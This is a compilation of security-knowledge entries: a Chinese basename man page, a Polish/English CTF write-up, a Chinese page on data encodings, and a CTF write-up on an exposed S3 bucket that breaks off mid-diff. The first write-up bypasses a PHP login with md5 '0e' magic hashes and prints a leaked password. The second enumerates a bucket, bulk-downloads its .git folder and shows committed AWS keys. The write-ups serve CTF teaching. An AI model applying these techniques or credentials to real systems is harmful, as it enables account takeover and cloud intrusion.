basename === 打印目录或者文件的基本名称 ## 补充说明 **basename命令** 用于打印目录或者文件的基本名称。basename和dirname命令通常用于shell脚本中的命令替换来指定和指定的输入文件名称有所差异的输出文件名称。 ### 语法 ```shell basename(选项)(参数) ``` ### 选项 ```shell --help:显示帮助; --version:显示版本号。 ``` ### 参数 * 文件:带路径信息的文件; * 后缀:可选参数,指定要去除的文件后缀字符串。 ### 实例 1、要显示一个shell变量的基本名称,请输入: ```shell basename $WORKFILE ``` 此命令显示指定给shell变量WORKFILE的值的基本名称。如果WORKFILE变量的值是`/home/jim/program.c`文件,则此命令显示program.c。 要构造一个和另一个文件名称相同(除了后缀)的文件名称,请输入: ```shell OFILE=`basename $1 .c`.o ``` 此命令指定给 OFILE 文件第一个位置上的参数($1)的值,但它的 .c 后缀更改至 .o。如果 $1 是 /home/jim/program.c 文件,则 OFILE 成为 program.o。因为 program.o 仅是一个基本文件名称,它标识在当前目录中的文件。
sec-knowleage
## Impossible (web, 225p) ### PL [ENG](#eng-version) Według opisu zadania, flaga jest schowana na stronie http://impossible.asis-ctf.ir/ Możemy tam zakładać konta, ale muszą one zostać aktywowane żeby się zalogować. Jak zwykle zaczynamy od ściągnięcia `robots.txt` aby sprawdzić co autorzy strony chcą przed nami ukryć. http://impossible.asis-ctf.ir/robots.txt ma tylko jeden wpis: User-agent: * Disallow: /backup Pod http://impossible.asis-ctf.ir/backup/ znajdziemy zrzut całej strony. Znacząco ułatwia nam to zadanie. W `functions.php` znajduje się mini-implementacja bazy danych: function username_exist($username) { $data = file_get_contents('../users.dat'); $users = explode("\n", $data); foreach ($users as $key => $value) { $user_data = explode(",", $value); if ($user_data[2] == '1' && base64_encode($username) == $user_data[0]) { return true; } } return false; } function add_user($username, $email, $password) { file_put_contents("../users.dat", base64_encode($username) . "," . base64_encode($email) . ",0\n", $flag = FILE_APPEND); file_put_contents("../passwords.dat", md5($username) . "," . base64_encode($password) . "\n", $flag = FILE_APPEND); } function get_user($username) { $data = file_get_contents('../passwords.dat'); $passwords = explode("\n", $data); foreach ($passwords as $key => $value) { $user_data = explode(",", $value); if (md5($username) == $user_data[0]) { return array($username, base64_decode($user_data[1])); } } return array("", ""); } `register.php` umożliwia nam stworzenie nowego konta - o ile nie istnieje już jakieś o tej samej nazwie: $check = preg_match("/^[a-zA-Z0-9]+$/", $_POST['username']); if (!$check) { } elseif (username_exist($_POST['username'])) { $result = 1; $title = "Registration Failed"; } else { add_user($_POST['username'], $_POST['email'], $_POST['password']); $user_info = get_user($_POST['username']); $result = 2; $title = "Registration Complete"; } `index.php` umożliwia zalogowanie się - o ile użytkownik jest aktywny i ma pasujące hasło: if(username_exist($_POST['username'])) { $user_info = get_user($_POST['username']); if ($user_info[1] == $_POST['password']) { $login = true; } } Nasz atak wykorzystuje kilka luk: 1. W `passwords.dat` nazwy użytkownika są zahaszowane MD5 ale hasła są tylko zakodowane base64. 2. `register.php` wypisuje hasło nowo utworzonego użytkownika. Albo, dokładniej, hasło pierwszego użytkownika którego nazwa ma takie samo md5. 3. Skróty md5 są porównywane operatorem `==`. Jeżeli porównywane łańcuchy są poprawnymi liczbami, zostaną porównane jako liczby. 4. Dziwnym zbiegiem okoliczności aktywny użytkownik z takim numerycznym md5 już istnieje w bazie: `md5("adm2salwg") == "0e004561083131340065739640281486"` `0e004561083131340065739640281486` po przekonwertowaniu na liczbę jest równe 0 (w notacji matematycznej 0*10<sup>4561083131340065739640281486</sup>). Potrzebna nam będzie inna nazwa, której md5 jest również równe 0 po skonwertowaniu na liczbę. Nawet w PHP, przeszukując kolejne liczby dostaniemy wynik po zaledwie kilku minutach: $p = md5("adm2salwg"); $i = 0; while(true) { if(md5("".$i) == $p) { echo $i; } $i++; } Pierwsze rozwiązanie: `240610708` nie zadziałało. Użytkownik z taką nazwą już istniał w bazie. Drugie rozwiązanie: `314282422` zadziałało bez problemu. Wystarczy stworzyć nowe konto o nazwie: `314282422` a skrypt odeśle nam hasło użytkownika `adm2salwg`: 1W@ewes$%rq0 Po zalogowaniu jako `adm2salwg`, pojawia się flaga: ASIS{d9fb4932eb4c45aa793301174033dff9} Skrypty posiadają jeszcze jedną, potencjalnie użyteczną, lukę. `file_put_contents` nie jest operacją atomową. Przez rejestrację wielu użytkowników z długimi nazwami i emailami równolegle, powinno się dać utworzyć niepoprawne wpisy w obu plikach. Nie udało nam się tego jednak wykorzystać. ### ENG version The flag is supposed to be hidden here: http://impossible.asis-ctf.ir/ It looks like we can add new accounts, but they must be activated before logging in. As usual, we start by examining `robots.txt` to find what we are not supposed to look at. http://impossible.asis-ctf.ir/robots.txt contains just two lines: User-agent: * Disallow: /backup http://impossible.asis-ctf.ir/backup/ contains dump of the whole site which is going to make the whole thing a lot easier. `functions.php` contains an ad-hoc implementation of a database: function username_exist($username) { $data = file_get_contents('../users.dat'); $users = explode("\n", $data); foreach ($users as $key => $value) { $user_data = explode(",", $value); if ($user_data[2] == '1' && base64_encode($username) == $user_data[0]) { return true; } } return false; } function add_user($username, $email, $password) { file_put_contents("../users.dat", base64_encode($username) . "," . base64_encode($email) . ",0\n", $flag = FILE_APPEND); file_put_contents("../passwords.dat", md5($username) . "," . base64_encode($password) . "\n", $flag = FILE_APPEND); } function get_user($username) { $data = file_get_contents('../passwords.dat'); $passwords = explode("\n", $data); foreach ($passwords as $key => $value) { $user_data = explode(",", $value); if (md5($username) == $user_data[0]) { return array($username, base64_decode($user_data[1])); } } return array("", ""); } `register.php` allows you to add new account, unless one already exists and is active: $check = preg_match("/^[a-zA-Z0-9]+$/", $_POST['username']); if (!$check) { } elseif (username_exist($_POST['username'])) { $result = 1; $title = "Registration Failed"; } else { add_user($_POST['username'], $_POST['email'], $_POST['password']); $user_info = get_user($_POST['username']); $result = 2; $title = "Registration Complete"; } `index.php` allows you to login, if user is active and has matching password: if(username_exist($_POST['username'])) { $user_info = get_user($_POST['username']); if ($user_info[1] == $_POST['password']) { $login = true; } } Our exploit leverages several issues in those scripts. 1. `passwords.dat` contains md5 sums of user names but passwords are base64 encoded. 2. `register.php` will echo your password back to you. Or, actually, password of first user whose name has the same md5 as yours. 3. md5s are compared using == operator. If compared strings are valid numbers, they will be parsed first. 4. By strange coincidence active user with such numeric md5 already exists in the database: `md5("adm2salwg") == "0e004561083131340065739640281486"` `0e004561083131340065739640281486` parses to number 0. We just need a different user name which md5 also parses to 0. Brute forcing that, even in PHP, only takes a couple of minutes. $p = md5("adm2salwg"); $i = 0; while(true) { if(md5("".$i) == $p) { echo $i; } $i++; } First solution: `240610708` didn't work. There already was an account with that name. But the second one: `314282422` worked fine. All you have to do is create account with user name: `314282422` and script will echo you `adm2salwg`'s password: 1W@ewes$%rq0 After logging in as `adm2salwg`, flag is displayed: ASIS{d9fb4932eb4c45aa793301174033dff9} There is one more potentially critical issue in those scripts. `file_put_contents` is not atomic. By registering a lot of users with long names and emails, it should be possible to create bogus entries in both databases. We weren't able to exploit it though.
sec-knowleage
# 计算机相关的编码 本节介绍一些计算机相关的编码。 ## 字母表编码 - A-Z/a-z 对应 1-26 或者 0-25 ## ASCII 编码 ### 特点 我们一般使用的 ascii 编码的时候采用的都是可见字符,而且主要是如下字符 - 0-9, 48-57 - A-Z, 65-90 - a-z, 97-122 ### 变形 #### 二进制编码 将 ascii 码对应的数字换成二进制表示形式。 - 只有 0 和 1 - 不大于 8 位,一般 7 位也可以,因为可见字符到 127。 - 其实是另一种 ascii 编码。 #### 十六进制编码 将 ascii 码对应的数字换成十六进制表示形式。 - A-Z-->0x41~0x5A - a-z-->0x61~0x7A ### 工具 - jpk, ascii to number, number to ascii - http://www.ab126.com/goju/1711.html ### 例子 ### 2018 DEFCON Quals ghettohackers: Throwback 题目描述如下 ``` Anyo!e!howouldsacrificepo!icyforexecu!!onspeedthink!securityisacomm!ditytop!urintoasy!tem! ``` 第一直觉应该是我们去补全这些叹号对应的内容,从而得到 flag,但是补全后并不行,那么我们可以把源字符串按照 `!` 分割,然后字符串长度 1 对应字母a,长度 2 对应字母 b,以此类推 ```shell ori = 'Anyo!e!howouldsacrificepo!icyforexecu!!onspeedthink!securityisacomm!ditytop!urintoasy!tem!' sp = ori.split('!') print repr(''.join(chr(97 + len(s) - 1) for s in sp)) ``` 进而可以得到,这里同时需要假设 0 个字符为空格。因为这正好使得原文可读。 ```shell dark logic ``` ### 题目 - Jarvis-basic-德军的密码 ## Base 编码 base xx 中的 xx 表示的是采用多少个字符进行编码,比如说 base64 就是采用以下 64 个字符编码,由于 2 的 6 次方等于 64,所以每 6 个比特为一个单元,对应某个可打印字符。3个字节就有 24 个比特,对应于 4 个 Base64 单元,即 3 个字节需要用 4 个可打印字符来表示。它可用来作为电子邮件的传输编码。在 Base64 中的可打印字符包括字母 A-Z、a-z、数字 0-9,这样共有 62 个字符,此外两个可打印符号在不同的系统中而不同。 具体介绍参见 [Base64 - 维基百科](https://zh.wikipedia.org/wiki/Base64)。 **编码 man** 如果要编码的字节数不能被 3 整除,最后会多出 1 个或 2 个字节,那么可以使用下面的方法进行处理:先使用 0 值在末尾补足,使其能够被 3 整除,然后再进行 base64 的编码。在编码后的 base64 文本后加上一个或两个 `=` 号,代表补足的字节数。也就是说,当最后剩余一个八位字节(一个 byte)时,最后一个 6 位的 base64 字节块有四位是 0 值,最后附加上两个等号;如果最后剩余两个八位字节(2 个 byte)时,最后一个 6 位的 base 字节块有两位是 0 值,最后附加一个等号。参考下表: 由于解码时补位的 0 并不参与运算,可以在该处隐藏信息。 与 base64 类似,base32 使用 32 个可见字符进行编码,2 的 5 次方为 32,所以每 5 bit 为 1 个分组。5 字节为 40 bit,对应于 8 个 base32 分组,即 5 个字节用 8 个 base32 中字符来表示。但如果不足 5 个字节,则会先对第一个不足 5 bit 的分组用 0 补足了 5 bit ,对后面剩余分组全部使用 “=” 填充,直到补满 5 个字节。由此可知,base32 最多只有 6 个等号出现。例如: ### 特点 - base64 结尾可能会有 `=` 号,但最多有 2 个 - base32 结尾可能会有 `=` 号,但最多有 6 个 - 根据 base 的不同,字符集会有所限制 - **有可能需要自己加等号** - **=也就是 3D** - 更多内容请参见 [base rfc](https://tools.ietf.org/html/rfc4648) ### 工具 - http://www1.tc711.com/tool/BASE64.htm - python 库函数 - [读取隐写信息脚本](https://github.com/cjcslhp/wheels/tree/master/b64stego) ### 例子 题目描述参见 `ctf-challenge`中 [misc 分类的 base64-stego 目录](https://github.com/ctf-wiki/ctf-challenges/tree/master/misc/encode/computer/base64-stego)中的 data.txt 文件。 使用脚本读取隐写信息。 ``` python import base64 def deStego(stegoFile): b64table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" with open(stegoFile,'r') as stegoText: message = "" for line in stegoText: try: text = line[line.index("=") - 1:-1] message += "".join([ bin( 0 if i == '=' else b64table.find(i))[2:].zfill(6) for i in text])[2 if text.count('=') ==2 else 4:6] except: pass return "".join([chr(int(message[i:i+8],2)) for i in range(0,len(message),8)]) print(deStego("text.txt")) ``` 输出: ``` flag{BASE64_i5_amaz1ng} ``` <!-- 下面是原编辑者的代码,代码的小毛病在于查找隐写字符用`last = line[-3]`写死了,这种写法默认每行尾有一个'\n',而最后一行并非如此,因此左后一个字符显示错误。 一大串 Base64 密文,试试补 0 位的数据。 ```python # coding=utf-8 import base64 import re result = [] with open('text.txt', 'r') as f: for line in f.readlines(): if len(re.findall(r'=', line)) == 2: last = line[-4] if last.isupper(): num = ord(last) - ord('A') elif last.islower(): num = ord(last) - ord('a') + 26 elif last.isdigit(): num = int(last) + 52 elif last == '+': num = 62 elif last == '/': num = 63 elem = '{0:06b}'.format(num) result.append(elem[2:]) elif len(re.findall(r'=', line)) == 1: last = line[-3] if last.isupper(): num = ord(last) - ord('A') elif last.islower(): num = ord(last) - ord('a') + 26 elif last.isdigit(): num = int(last) + 52 elif last == '+': num = 62 elif last == '/': num = 63 elem = '{0:06b}'.format(num) result.append(elem[4:]) flag_b = ''.join(result) split = re.findall(r'.{8}', flag_b) for i in split: print chr(int(i, 2)), ``` 感觉像是程序有点毛病,不过还是能看出来 flag。 ``` flag{BASE64_i5_amaz1ng~ ``` --> ### 题目 ## 霍夫曼编码 参见 [霍夫曼编码](https://zh.wikipedia.org/wiki/%E9%9C%8D%E5%A4%AB%E6%9B%BC%E7%BC%96%E7%A0%81)。 ## XXencoding XXencode 将输入文本以每三个字节为单位进行编码。如果最后剩下的资料少于三个字节,不够的部份用零补齐。这三个字节共有 24 个 Bit,以 6bit 为单位分为 4 个组,每个组以十进制来表示所出现的数值只会落在 0 到 63 之间。以所对应值的位置字符代替。 ```text 1 2 3 4 5 6 0123456789012345678901234567890123456789012345678901234567890123 | | | | | | | +-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz ``` 具体信息参见[维基百科](https://en.wikipedia.org/wiki/Xxencoding) ### 特点 - 只有数字,大小写字母 - +号,-号。 ### 工具 - http://web.chacuo.net/charsetxxencode ### 题目 ## URL 编码 参见[ URL 编码 - 维基百科](https://zh.wikipedia.org/wiki/%E7%99%BE%E5%88%86%E5%8F%B7%E7%BC%96%E7%A0%81)。 ### 特点 - 大量的百分号 ### 工具 ### 题目 ## Unicode 编码 参见[ Unicode - 维基百科](https://zh.wikipedia.org/wiki/Unicode)。 注意,它有四种表现形式。 ### 例子 源文本: `The` &#x [Hex]: `&#x0054;&#x0068;&#x0065;` &# [Decimal]: `&#00084;&#00104;&#00101;` \U [Hex]: `\U0054\U0068\U0065` \U+ [Hex]: `\U+0054\U+0068\U+0065` ### 工具 ### 题目 ## HTML 实体编码
sec-knowleage
# Static * Category: Cloud * 200 Points * Solved by the JCTF Team ## Description > This is only a static bitcoin currency site. > > What can go wrong? ## Solution The description isn't lying, the attached website is just a static website about bitcoins. Nothing interesting there. However, the challenge category is "cloud", and when we check the site headers we see: ```console root@kali:/media/sf_CTFs/appsec/Static# curl -I http://static.appsecil.ctf.today/ HTTP/1.1 200 OK Date: Mon, 26 Oct 2020 20:49:37 GMT Content-Type: text/html Connection: keep-alive x-amz-id-2: LpLbIofXGbpH19h/0vVulYUBtWpheY6WLJj/B2dgDCoU31gTqOkAxalalnBBdop8oW3/fcazfw4= x-amz-request-id: AAAE08000EE6407D Last-Modified: Tue, 13 Oct 2020 08:44:30 GMT CF-Cache-Status: DYNAMIC cf-request-id: 06084583170000e60ca18b8000000001 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=FO9ZoK9uuH0KVaiA0%2BUraPKdZglXwTN94bpd3VyZjKvyDJBvc%2BWbQ7ANJIokazP4rRdMvK2nQ7mzNr23F7vtS1wYqwUqSoE%2FP1j7GHVXt8zSf8N41HBqivr5"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 5e870b7e8945e60c-LHR ``` `x-amz-id-2` and `x-amz-request-id` are Amazon headers. So, let's append `s3.amazonaws.com` and see if we get lucky: ```console root@kali:/media/sf_CTFs/appsec/Static# curl http://static.appsecil.ctf.today.s3.amazonaws.com/ <?xml version="1.0" encoding="UTF-8"?> <ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/"><Name>static.appsecil.ctf.today</Name><Prefix></Prefix><Marker></Marker><MaxKeys>1000</MaxKeys><IsTruncated>false</IsTruncated><Contents><Key>.git/COMMIT_EDITMSG</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>&quot;709dad26ae74855d5c97dd3d29321ad4&quot;</ETag><Size>39</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/HEAD</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>&quot;4cf2d64e44205fe628ddd534e1151b58&quot;</ETag><Size>23</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/config</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>&quot;0ed3016f577589d5c645cb8183ca4680&quot;</ETag><Size>157</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/description</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>&quot;a0a7c3fff21f2aea3cfa1d0316dd816c&quot;</ETag><Size>73</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/hooks/applypatch-msg.sample</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>&quot;ce562e08d8098926a3862fc6e7905199&quot;</ETag><Size>478</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/hooks/commit-msg.sample</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>&quot;579a3c1e12a1e74a98169175fb913012&quot;</ETag><Size>896</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/hooks/fsmonitor-watchman.sample</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>&quot;ea587b0fae70333bce92257152996e70&quot;</ETag><Size>4655</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/hooks/post-update.sample</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>&quot;2b7ea5cee3c49ff53d41e00785eb974c&quot;</ETag><Size>189</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/hooks/pre-applypatch.sample</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>&quot;054f9ffb8bfe04a599751cc757226dda&quot;</ETag><Size>424</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/hooks/pre-commit.sample</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>&quot;305eadbbcd6f6d2567e033ad12aabbc4&quot;</ETag><Size>1643</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/hooks/pre-merge-commit.sample</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>&quot;39cb268e2a85d436b9eb6f47614c3cbc&quot;</ETag><Size>416</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/hooks/pre-push.sample</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>&quot;3c5989301dd4b949dfa1f43738a22819&quot;</ETag><Size>1348</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/hooks/pre-rebase.sample</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>&quot;56e45f2bcbc8226d2b4200f7c46371bf&quot;</ETag><Size>4898</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/hooks/pre-receive.sample</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>&quot;2ad18ec82c20af7b5926ed9cea6aeedd&quot;</ETag><Size>544</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/hooks/prepare-commit-msg.sample</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>&quot;2b5c047bdb474555e1787db32b2d2fc5&quot;</ETag><Size>1492</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/hooks/update.sample</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>&quot;7bf1fcc5f411e5ad68c59b68661660ed&quot;</ETag><Size>3635</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/index</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>&quot;c26bf94299b418b41a3e5ca5be8339bc&quot;</ETag><Size>297</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/info/exclude</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>&quot;036208b4a1ab4a235d75c181e685e5a3&quot;</ETag><Size>240</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/logs/HEAD</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>&quot;efccaf7d1c9cb133254917da972e94f8&quot;</ETag><Size>324</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/logs/refs/heads/master</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>&quot;efccaf7d1c9cb133254917da972e94f8&quot;</ETag><Size>324</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/objects/0a/67975a74480e8613c168821411e0fafa76dcce</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>&quot;4b3535488af2c2c6999b6b0138fcfa39&quot;</ETag><Size>127</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/objects/0c/ffcb348ff9cec9cd41492a9e5c5a41d86ce96e</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>&quot;7f1bbe00539c65b1c0c90d0d6e15d274&quot;</ETag><Size>27</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/objects/17/fb9eb375b41e9a336598e9c6a0c06f5b1f2bee</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>&quot;28c1bef6bbe63a71898eae9282ba5ec0&quot;</ETag><Size>512</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/objects/9a/91362d44499b0960b61e7d54e06bc5430749f3</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>&quot;bbd6554fb31d0568d656692c96e26468&quot;</ETag><Size>477</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/objects/a9/227a2517566ab157e6f2e88974cdb0e7a138aa</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>&quot;d7a73a9e4b5b825e97f2b826769df4c0&quot;</ETag><Size>124</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/objects/cd/b77fdfde915490147433b6e89717ae291d8ecd</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>&quot;8a2bb4b201349cea074b2a2beddbe0a6&quot;</ETag><Size>30</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/objects/ce/dbb182b85c38205239bb72029ad208cdf28a4c</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>&quot;5a05a9a774b6076358d57ae0ae514e97&quot;</ETag><Size>171</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/objects/d3/696d88d8856698a26e76c4d183f59dc2a6a6f9</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>&quot;5e29bcb350486cb381b60ab3fa345ab1&quot;</ETag><Size>92</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/refs/heads/master</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>&quot;cac71bf0a6865b04df5bd64841348138&quot;</ETag><Size>41</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>flag.txt</Key><LastModified>2020-10-13T08:44:30.000Z</LastModified><ETag>&quot;fa098ab116f7bb8f311fb8e2d8bd5ad8&quot;</ETag><Size>41</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>index.html</Key><LastModified>2020-10-13T08:44:30.000Z</LastModified><ETag>&quot;45c3725a7cfc8f55ab4b3d6bbee83ad2&quot;</ETag><Size>5466</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>pricing.css</Key><LastModified>2020-10-13T08:44:30.000Z</LastModified><ETag>&quot;9da9b0b9bdb774d189d0046d9836b583&quot;</ETag><Size>376</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>quotes/</Key><LastModified>2020-10-13T08:43:51.000Z</LastModified><ETag>&quot;d41d8cd98f00b204e9800998ecf8427e&quot;</ETag><Size>0</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>quotes/2020-10-13.json</Key><LastModified>2020-10-13T08:44:15.000Z</LastModified><ETag>&quot;915a67d704006e47f59d52fd3e4281ea&quot;</ETag><Size>109</Size><StorageClass>STANDARD</StorageClass></Contents></ListBucketResult> ``` Looks like a bunch of files, let's try to extract just the names: ```console root@kali:/media/sf_CTFs/appsec/Static# curl http://static.appsecil.ctf.today.s3.amazonaws.com/ -s | grep -Po '(?<=<Key>)([^<]+)(?=</Key>)' .git/COMMIT_EDITMSG .git/HEAD .git/config .git/description .git/hooks/applypatch-msg.sample .git/hooks/commit-msg.sample .git/hooks/fsmonitor-watchman.sample .git/hooks/post-update.sample .git/hooks/pre-applypatch.sample .git/hooks/pre-commit.sample .git/hooks/pre-merge-commit.sample .git/hooks/pre-push.sample .git/hooks/pre-rebase.sample .git/hooks/pre-receive.sample .git/hooks/prepare-commit-msg.sample .git/hooks/update.sample .git/index .git/info/exclude .git/logs/HEAD .git/logs/refs/heads/master .git/objects/0a/67975a74480e8613c168821411e0fafa76dcce .git/objects/0c/ffcb348ff9cec9cd41492a9e5c5a41d86ce96e .git/objects/17/fb9eb375b41e9a336598e9c6a0c06f5b1f2bee .git/objects/9a/91362d44499b0960b61e7d54e06bc5430749f3 .git/objects/a9/227a2517566ab157e6f2e88974cdb0e7a138aa .git/objects/cd/b77fdfde915490147433b6e89717ae291d8ecd .git/objects/ce/dbb182b85c38205239bb72029ad208cdf28a4c .git/objects/d3/696d88d8856698a26e76c4d183f59dc2a6a6f9 .git/refs/heads/master flag.txt index.html pricing.css quotes/ quotes/2020-10-13.json ``` Now we cat see that there's a flag hiding there. Can it be this easy? ```console root@kali:/media/sf_CTFs/appsec/Static# curl http://static.appsecil.ctf.today.s3.amazonaws.com/flag.txt <?xml version="1.0" encoding="UTF-8"?> <Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>B4E3B7A68A324EBA</RequestId><HostId>X5i0addaCOMzVgekAelnk/rFWoRfvyHeugk4053Wpt6eT0WrgZL7sjy1Sns9u53wpu2jMW9c3g8=</HostId></Error> ``` Obviously not. The next step is clearly to download the git repository and analyze it. We can use the following command to download all files: ```console root@kali:/media/sf_CTFs/appsec/Static# curl http://static.appsecil.ctf.today.s3.amazonaws.com/ -s | grep -Po '(?<=<Key>)([^<]+)(?=</Key>)' | while read line ; do dirname="$(dirname $line)"; mkdir -p bucket/$dirname; curl -s http://static.appsecil.ctf.today.s3.amazonaws.com/$line > bucket/$line ; done ``` What we get is the repository: ```console root@kali:/media/sf_CTFs/appsec/Static# tree -a bucket bucket ├── flag.txt ├── .git │   ├── COMMIT_EDITMSG │   ├── config │   ├── description │   ├── HEAD │   ├── hooks │   │   ├── applypatch-msg.sample │   │   ├── commit-msg.sample │   │   ├── fsmonitor-watchman.sample │   │   ├── post-update.sample │   │   ├── pre-applypatch.sample │   │   ├── pre-commit.sample │   │   ├── pre-merge-commit.sample │   │   ├── prepare-commit-msg.sample │   │   ├── pre-push.sample │   │   ├── pre-rebase.sample │   │   ├── pre-receive.sample │   │   └── update.sample │   ├── index │   ├── info │   │   └── exclude │   ├── logs │   │   ├── HEAD │   │   └── refs │   │   └── heads │   │   └── master │   ├── objects │   │   ├── 0a │   │   │   └── 67975a74480e8613c168821411e0fafa76dcce │   │   ├── 0c │   │   │   └── ffcb348ff9cec9cd41492a9e5c5a41d86ce96e │   │   ├── 17 │   │   │   └── fb9eb375b41e9a336598e9c6a0c06f5b1f2bee │   │   ├── 9a │   │   │   └── 91362d44499b0960b61e7d54e06bc5430749f3 │   │   ├── a9 │   │   │   └── 227a2517566ab157e6f2e88974cdb0e7a138aa │   │   ├── cd │   │   │   └── b77fdfde915490147433b6e89717ae291d8ecd │   │   ├── ce │   │   │   └── dbb182b85c38205239bb72029ad208cdf28a4c │   │   └── d3 │   │   └── 696d88d8856698a26e76c4d183f59dc2a6a6f9 │   └── refs │   └── heads │   └── master ├── index.html ├── pricing.css └── quotes └── 2020-10-13.json ``` Simple git commands now work: ```console root@kali:/media/sf_CTFs/appsec/Static/bucket# git ls-files .gitignore main.py requirements.txt ``` This is how `main.py` currently looks: ```console root@kali:/media/sf_CTFs/appsec/Static/bucket# git show HEAD:main.py import requests import time import boto3 from botocore.client import Config import json from datetime import datetime BUCKET_NAME = "static.appsecil.ctf.today" with open("config.json") as config_file: config = json.load(config_file) client = boto3.client( 's3', aws_access_key_id=config['AWS_KEY'], aws_secret_access_key=config['AWS_SECRET'] ) def write_to_s3(json_file): object = client.upload_fileobj(json_file, BUCKET_NAME, "quotes/"+json_file) return bool(object) def write_to_local(json_obj): file_name = datetime.today().strftime('%Y-%m-%d') with open(file_name+".json", "w") as f: f.write(json.dumps(json_obj)) return file_name if __name__ == "__main__": get_latest_price = requests.get("https://api.bittrex.com/v3/markets/BSV-USDT/ticker").json() file_name = write_to_local(get_latest_price) write_to_s3(file_name) ``` We can view commit history: ```console root@kali:/media/sf_CTFs/appsec/Static/bucket# git log commit cedbb182b85c38205239bb72029ad208cdf28a4c (HEAD -> master) Author: Alex <alex@static.com> Date: Tue Oct 13 11:58:32 2020 +0300 Add config file instead of global vars commit a9227a2517566ab157e6f2e88974cdb0e7a138aa Author: Alex <alex@static.com> Date: Tue Oct 13 11:55:41 2020 +0300 Initial commit ``` And check the diffs: ```console root@kali:/media/sf_CTFs/appsec/Static/bucket# git show commit cedbb182b85c38205239bb72029ad208cdf28a4c (HEAD -> master) Author: Alex <alex@static.com> Date: Tue Oct 13 11:58:32 2020 +0300 Add config file instead of global vars diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..0cffcb3 --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +config.json \ No newline at end of file diff --git a/main.py b/main.py index 17fb9eb..9a91362 100644 --- a/main.py +++ b/main.py @@ -5,14 +5,14 @@ from botocore.client import Config import json from datetime import datetime -AWS_KEY = "AKIAQEOEU25UQKGTPPOR" -AWS_SECRET = "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" BUCKET_NAME = "static.appsecil.ctf.today" +with open("config.json") as config_file: + config = json.load(config_file) client = boto3.client( 's3', - aws_access_key_id=AWS_KEY, - aws_secret_access_key=AWS_SECRET + aws_access_key_id=config['AWS_KEY'], + aws_secret_access_key=config['AWS_SECRET'] ) def write_to_s3(json_file): @@ -28,4 +28,4 @@ def 